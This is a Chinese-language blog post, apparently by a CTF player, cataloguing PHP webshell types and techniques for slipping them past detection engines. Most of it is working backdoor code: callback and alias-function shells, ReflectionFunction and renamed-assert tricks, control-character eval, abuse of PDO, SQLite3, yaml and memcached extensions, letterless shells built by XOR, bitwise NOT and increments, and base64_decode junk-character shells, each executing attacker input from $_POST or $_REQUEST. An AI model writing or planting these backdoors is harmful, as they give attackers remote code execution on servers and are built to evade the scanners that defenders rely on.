webshell 介绍
webshell
是以常见的编程语言(PHP
,JAVA
,ASP
,ASPX
或者cgi
)编写的网页文件,最初的目的是为了方便网站管理、服务器管理、权限管理等,使用方法简单,只需写短短几行代码,并且通过网址访问就可进行日常操作,极大的方便了使用者对网站和服务器的管理。因为其方便小巧的特性,如今转变成恶意后门来使用,已达控制网站服务器的目的.
webshell 种类
p牛在19年kcon大会上的议题PHP动态特性的捕捉与逃逸
中,把webshell分成了如下几类:
![QQ图片20211212180226]()
PHP动态特性的捕捉与逃逸
直接型
直接型言简意赅,直接通过http请求传递要执行的代码
回调型
利用回调函数如call_user_func
、array_map
等,这里就体现了php
的灵活,一段不确定功能的代码,变量值的改变可以导致这段代码发生功能上的变化。
变形型
对webshell中的一些变量名
、恶意代码
,进行混淆、加密、压缩等操作,以达到被查杀的目的。
命令型
也很好理解,直接通过popen和系统进程通信执行命令,常见的如system
、shell_exec
、反引号
等等
包含型
包含型可能是最不容易被查杀的手段,至少静态查杀没有有效的方法,通过包含恶意代码执行的方式将结果带出,日常开发中也有很多地方用到包含的函数如require
、include_once
等等,从开发的角度看,包含型的webshell没有什么明显的特征,只能从流量侧进行查杀。
技巧型
利用对php的一些特性执行恶意代码,如preg_replace \e
执行任意代码、或者利用php的base64_decode
函数的容错性。
针对回调型webshell的检测
针对回调型后门,一般可以用遍历AST Tree
、判断回调参数是否是变量、分析FuncCall Node
,判断是否调用了含有回调参数的函数。
php是一个很神奇的语言,若检测引擎对函数名进行黑名单检测,大部分编程语言的关键字都是大小写敏感,但php可以对函数进行大小写绕过而不改变函数的用法如
uSoRt($_POST[1],$_POST[2]);
当然大部分检测引擎不会犯这么低级的错误。
别名函数
一些函数在php
官方文档搜不到,但实际上是一些函数的别名如 mb_ereg_replace
、mb_eregi_replace
的别名函数,mbereg_replace
、mbereg_ireplace
,他们的作用和preg_replace
一样,在/e
模式下可以执行任意代码,在PHP7
删除了preg_replace
的/e
模式之后,mb_ereg_replace
的/e
模式依然能用,因此可以构造含有别名函数的webshell
以达到绕过的目的
mbereg_replace(‘.*’, ‘\0’, $_REQUEST[2333], ‘mer’);
不过,mbereg_replace
这个别名在PHP7.3
被移除了,所以上述代码只能在7.2及以下的PHP
中使用。
重命名函数
PHP5.6
开始引用函数名的命名空间,可以用
use function A as B
的形式导入A函数,实际写webshell的效果如下:
1 2 3 4
|
<?php use function \assert as test;
test($_REQUEST[aaa]);
|
匿名类与类的继承
类似重命名函数,类的继承也可以理解为一种”重命名”。子类拥有父类的所有方法,也可以做所有父类支持的操作。具体的代码实现如下
1 2 3 4 5 6 7
|
class test extends ReflectionFunction {} $f = new test($_POST['name']); $f -> invoke($_POST[aaaa]);
//php7支持的匿名类写法 $f = new class($_POST['name']) extends ReflectionFunction {}; $f -> invoke($_POST[aaaa]);
|
变长参数
变长参数是PHP5.6
引入的新特性,即在PHP
中可以使用func(...$arr)
这样的方式,将$arr
数组展开成多个参数传入func
函数。配合回调后门可变形如下
请求的时候/test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert
即可
控制字符
对于一些PHP
的AST
解释引擎如PHP-Parser
和正常的PHP
的引擎有一些区别,正常的PHP引擎会忽略控制字符,正确执行PHP函数,而PHP-Parser无法正确解析包含控制字符的函数。
控制字符范围
所有可以构造带有控制字符的webshell可以绕过一些具有语法解析的webshell检测引擎
1 2
|
<?php eval\x01\x02($_POST[aaaa]);
|
PHP标签
打CTF的经常遇到,如果过滤了<?php
,可以用<script languagt="php">
构造webshell
上传绕过限制。
![20211214003215]()
技巧型拓展
利用php扩展库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
<?php
//利用pdo扩展 $db = new PDO('sqlite::memory:'); $st = $db -> quert("SELECT 'phpinfo()'"); $re = $st -> fetchAll(PDO::FETCH_FUNC,'assert');
//利用sqlite3扩展 $e = $_REQUEST['e']; $db = new SQLite3('sqlite.db3'); $db->createFunction('myfunc', $e); $stmt = $db->prepare("SELECT myfunc(?)"); $stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT); $stmt->execute();
//利用php_yaml扩展 $str = urlencode($_REQUEST['pass']); $yaml = <<<EOD greeting: !{$str} "|.+|e" EOD; $parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));
//利用php_memcached扩展 $mem = new Memcache(); $re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);')); $mem->connect($_REQUEST['pass'], 11211, 0);
|
无字母数字的webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
|
<?php
//利用不可见字符异或 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
//利用汉字和取反字符 $__=('>'>'<')+('>'>'<'); $_=$__/$__;
$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____; $____($_[$__]);
//不利用取反异或,只用自增自减,只通过一个字符获取其他字符 $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;
$_=$$____; $___($_[_]); // ASSERT($_POST[_]);
|
利用base64_decode特性
前阵子在代码审计星球,P喵呜
师傅分享了个trick
,php
的base64_decode
函数的容错性很高,即使在一段标准的base64
字符串中乱加内容(一些特殊字符),该函数依然能正确解析,因此可以衍生出包含垃圾字符的webshell
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php $base64_decode_str = 'edoced_46esab'; $base64_decode = strrev($base64_decode_str);
// get_defined_vars 的 base64 $parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^'; $parameter = $base64_decode($parameter_base64); // assert 的 base64 $assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::'; $asser = $base64_decode($assert_base64);
$asser($parameter()['_GET'][1]); >
|
对base64_decode特性的思考
因为打CTF打多了,对base64
比较熟悉,突然想到,能否把base64
和misc
中常见的base64隐写
结合起来,把代码隐藏在base64
加密的后4位字符中。理论是可行的,但经过实验,发现一些难点,首先,base64隐写容错性太低,一段简单的话,需要生成大量的base64字符串表示,如果像蚁剑一样,每次将要执行的代码经过base64隐写再发送到服务器,数据内容会过于臃肿,若再执行一些上传操作或浏览数据库数据的功能,恐怕服务器后端会处理不了大量数据而将数据包舍弃。
Refer
PHP回调后门
一些不包含数字和字母的webshell
PHP动态特性的捕捉与逃逸
评论